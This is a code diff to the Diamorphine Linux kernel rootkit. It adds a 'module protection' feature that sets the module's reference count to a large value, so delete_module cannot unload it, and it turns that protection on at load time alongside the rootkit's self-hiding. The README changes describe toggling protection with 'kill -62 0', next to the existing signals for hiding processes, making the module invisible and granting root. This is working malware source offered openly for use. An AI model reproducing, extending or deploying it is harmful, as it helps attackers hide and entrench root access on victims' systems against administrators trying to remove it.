Module protection

README.md

@@ -10,6 +10,8 @@ Features
 
 - Hide/unhide any process by sending a signal 31;
 
+- Sending a signal 62(to any pid) protect module from delete_module system call;
+
 - Sending a signal 63(to any pid) makes the module become (in)visible;
 
 - Sending a signal 64(to any pid) makes the given user become root;
@@ -49,8 +51,9 @@ insmod diamorphine.ko
 Uninstall
 --
 
-The module starts invisible, to remove you need to make it visible
+The module starts invisible and protected, to remove you need to make it visible and unprotected
 ```
+kill -62 0
 kill -63 0
 ```
 
@@ -87,3 +90,6 @@ https://github.com/zizzu0/LinuxKernelModules/
 
 Linux Rootkits: New Methods for Kernel 5.7+
 https://xcellerator.github.io/posts/linux_rootkits_11/
+
+LKM Refcount Change
+https://cu63.github.io/linux/rootkits/LKM-refcount-change/

diamorphine.c

@@ -300,6 +300,8 @@ tidy(void)
 
 static struct list_head *module_previous;
 static short module_hidden = 0;
+static short module_protected = 0;
+
 void
 module_show(void)
 {
@@ -315,6 +317,24 @@ module_hide(void)
 	module_hidden = 1;
 }
 
+void
+module_protect(void)
+{
+	atomic_t *p_ref_count = &THIS_MODULE->refcnt;
+
+	atomic_set(p_ref_count, 0x8163);
+	module_protected = 1;
+}
+
+void
+module_unprotect(void)
+{
+	atomic_t *p_ref_count = &THIS_MODULE->refcnt;
+
+	atomic_set(p_ref_count, 1);
+	module_protected = 0;
+}
+
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
 asmlinkage long
 hacked_kill(const struct pt_regs *pt_regs)
@@ -345,6 +365,10 @@ hacked_kill(pid_t pid, int sig)
 			if (module_hidden) module_show();
 			else module_hide();
 			break;
+		case SIGPROTECT:
+			if (module_protected) module_unprotect();
+			else module_protect();
+			break;
 		default:
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)
 			return orig_kill(pt_regs);
@@ -414,6 +438,7 @@ diamorphine_init(void)
 #endif
 
 	module_hide();
+	module_protect();
 	tidy();
 
 #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 16, 0)

diamorphine.h

@@ -15,6 +15,12 @@ give_root(void);
 void
 module_show(void);
 
+void
+module_protect(void);
+
+void
+module_unprotect(void);
+
 void
 module_hide(void);
 
@@ -42,6 +48,7 @@ enum {
 	SIGINVIS = 31,
 	SIGSUPER = 64,
 	SIGMODINVIS = 63,
+	SIGPROTECT = 62,
 };
 
 #ifndef IS_ENABLED